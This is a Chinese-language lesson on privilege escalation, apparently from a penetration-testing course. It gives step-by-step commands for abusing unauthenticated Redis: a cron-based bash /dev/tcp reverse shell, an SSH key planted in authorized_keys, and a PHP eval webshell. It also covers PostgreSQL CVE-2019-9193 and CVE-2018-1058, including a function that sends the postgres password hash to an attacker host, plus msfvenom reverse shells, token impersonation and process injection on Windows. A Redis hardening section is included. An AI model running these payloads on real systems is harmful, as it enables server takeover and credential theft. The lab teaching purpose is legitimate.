本课内容
案例1:Redis数据库权限提升-计划任务
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。
连接Redis(利用未授权访问漏洞或者用户名密码连接)后,可以利用如下方法提权
1、利用计划任务执行命令反弹shell
在redis以root权限运行时,可以写crontab来执行命令反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 |
先在自己服务器上监听一个端口:
nc -lvnp 8080
然后创建一个新的命令行:
root@kali:~ # redis-cli -h 192.168.223.132
192.168.223.132:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.223.135/8080 0>&1\n"
OK
192.168.223.132:6379> config set dir /var/spool/cron/
OK
192.168.223.132:6379> config set dbfilename root
OK
192.168.223.132:6379> save
OK
|
nc监听端口已经反弹回来shell(反弹回shell需要的时间比较久,大概几分钟的样子):
2、写入ssh-keygen公钥然后使用私钥登陆
利用条件
Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
利用过程
1 2 3 4 5 6 7 8 9 10 11 12 |
1、在攻击机生成一个公钥文件:
cd /root/ . ssh / #如果.ssh不存在的话,创建.ssh文件夹。
ssh -keygen -t rsa #执行完命令然后回车三次就结束了。
cat id_rsa.pub
2、未授权或者弱口令访问redis服务,并写入公钥:
redis -h 192.168.223.132 登录redis服务
config set dir /root/ . ssh / #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set x "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdetfvTA3f2gkKLnyC8cRKNPmN54QlK1a+QFedlN3BzDAWR7BJmv5qMaXdwTa++upI1gHyOb50rNBSddeIbbbND3uQiNpzJOUaLxrITe6QvELc055Ya1NVcsWeGR/B42daBFua+aBQ0bTMvW6Ne3PiVcvoisSgHNKtFPu6mvV+LV9+r1w9nib/iQAba2u/YHf3bC2+SChs1dDdD4wPz4Qf2E4gWrxXWQIJzqDfuHWHjQkqoh/frSwdYp6PHPzToYWXaGDA/JMgMovokCtGNE9ovTMndkdS18nLkoYQowQFBpv7EJOnFBXj9KIsc2jOfytSie0YZjFt4Fj89+0UTetH4hdEqWg5oEELVVXVnjY3vhOcQFsBFgr1vV00tVmm1KVJ4nuJ0L2/xOBsFixr6LVspBWh/0EZDpTBoVVjDBj4QBZRzfo/kiv9jUYFE5olyoxABRHnPBGfw1bXS0IjiK6P7I1Egm1n77g0DMqwjCiLfY6UAznU7R9QN82NKyvAwGs= root@kali \n\n\n" #将公钥写入x键,用"\n\n\n"包裹住公钥,并且跟公钥之间用空格隔开
save # 保存
3、用私钥进行登录:
ssh -i id_rsa 第一次登陆需要输入 yes
|
3、权限较低往web物理路径写webshell
当redis权限不高,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
利用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 |
1.将shell写入web目录(web目录根据实际情况)
root@kali:~ # redis-cli -h 192.168.223.132
192.168.223.132:6379> config set dir /var/www/html/
OK
192.168.223.132:6379> config set dbfilename shell.php
OK
192.168.223.132:6379> set x "<?php eval(@$_POST['a']); ?>"
OK
192.168.223.132:6379> save
OK
2.使用冰蝎等工具连接
|
4、修复方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
1)禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename- command FLUSHALL ""
rename- command CONFIG ""
rename- command EVAL ""
或者通过修改redis.conf文件,改变这些高危命令的名称
rename- command FLUSHALL "name1"
rename- command CONFIG "name2"
rename- command EVAL "name3"
2)以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
3)为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4)禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。
5)修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6)保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/. ssh /authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/. ssh /authorized_keys
然而,用户还可以重命名 ~/. ssh ,然后新建新的 ~/. ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~. /ssh 的 immutable 权限:
chattr +i ~/. ssh
7)设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
|
参考:
https://www.cnblogs.com/sq-smile/p/14098579.html
http://blog.csdn.net/fly_hps/article/details/80937837
案例2:PostgreSQL数据库权限提升-漏洞
提权利用的是漏洞:CVE-2019-9193、CVE-2018-1058
参考:https://vulhub.org/#/environments/postgres/
修复方案:升级版本或打上补丁
1、PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
流程:连接-利用漏洞-执行-提权
<1>首先使用Navicat工具连接到PostgreSQL数据库
<2>执行如下命令
1 2 3 4 |
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id' ;
SELECT * FROM cmd_exec;
|
FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中。
我们可以把id换成任意命令执行,比如pwd、ls、cat /etc/passwd等
2、PostgreSQL 提权漏洞(CVE-2018-1058)
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
利用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
1.先通过普通用户vulhub:vulhub的身份登录postgres:
psql --host your-ip --username vulhub
2.执行如下语句后退出:
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect(( select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname=' ||(SELECT passwd FROM pg_shadow WHERE usename= 'postgres' )));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATIL
3.然后我在10.0.0.1上监听5433端口,等待超级用户触发我们留下的这个“后门”。
nc -lvnp 5433
4.(假装自己是超级用户)在靶场机器下,用超级用户的身份执行如下pg_dump命令,导出vulhub这个数据库的内容。
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub,
5.执行上述命令的同时,“后门”已被触发,10.0.0.1机器上已收到敏感信息。
|
案例3:Windows2008&7令牌窃取提升-本地
先看另外一个讲解原理的文章,
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
访问令牌(Access Token):表示访问控制操作主体的系统对象 会话令牌(Session Token):是交互会话中唯一的身份标识符。 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。
此时,我们可以尝试使用假冒令牌进行提权。
use incognito #进入incognito模块 list_tokens -u #列出令牌
如图,可以看到有两种类型的令牌。
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问) Impresonation Token:模拟令牌,它是非交互的会话。
令牌的数据取决于当前获取权限的高低。
当前列出了3个令牌。我们就可以通过下面的命令假冒 Administrator 用户了。
-------小迪安全里的实战
原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
令牌窃取方式在Windows2008之后的高版本操作系统已经没用了,只能用于一些低版本系统。比如
本地提权实验 流程:获取会话-利用模块-窃取令牌-提权
演示1:Windows7系统
<1>在本地msf服务器上(IP:114.215.191.57)执行以下命令,生成反弹shell木马
1 |
msfvenom -p windows /meterpreter/reverse_tcp lhost=114.215.191.57 lport=5577 -f exe -o /root/xx .exe
|
<2>在本地msf服务器上执行以下命令,监听端口
1 2 3 4 5 6 7 8 |
msfconsole
use exploit /multi/handler
set payload windows /meterpreter/reverse_tcp
show options
set lhost 0.0.0.0
set lport 6677
show options
exploit
|
<3>将该木马xx.exe,上传到远程目标服务器,并运行木马程序。
<4>本地监听到会话,查看权限为普通用户xiaodi
<5>执行以下命令,利用模块,窃取令牌,提权成功。
1 2 3 |
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
|
演示2:Windows2008系统
步骤与演示1相同,直接看结果,提权成功。
案例4:Windows2003&10进程注入提升-本地
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在Windows2008之前操作系统上。所以我们需要学习后续的本地提权更多的手法才能针对高版本的系统。
1、pinjector进程注入工具-针对win2008以前的操作系统
下载地址:https://www.tarasco.org/security/Process_Injector/processingector.zip
演示环境:Windows2003
<1>将pinjector工具上传到目标服务器,运行以下命令
1 2 3 |
pinjector.exe // 运行命令,查看用法
pinjector.exe -l // 列出可注入的进程
pinjector.exe -p pid cmd.exe 6688 // 注入到系统正常的服务里,监听6688端口(一定要注入services.exe,查看后面是否为system运行)
|
<2>监听6688端口,成功反弹shell,提权成功。
1 |
nc -nv ip 6688 (连接不上,原因防火墙开启)
|
2、pexec64 32进程注入工具针对win2008及以后的操作系统-佛系
下载地址:https://www.blib.cn/soft/pexec.zip(下载地址已失效)
参考地址:https://www.cnblogs.com/LyShark/p/13785619.html(不知什么原因,原作者已将此内容删除)
Windows10操作系统测试发现,提权失败,降权成功了。。。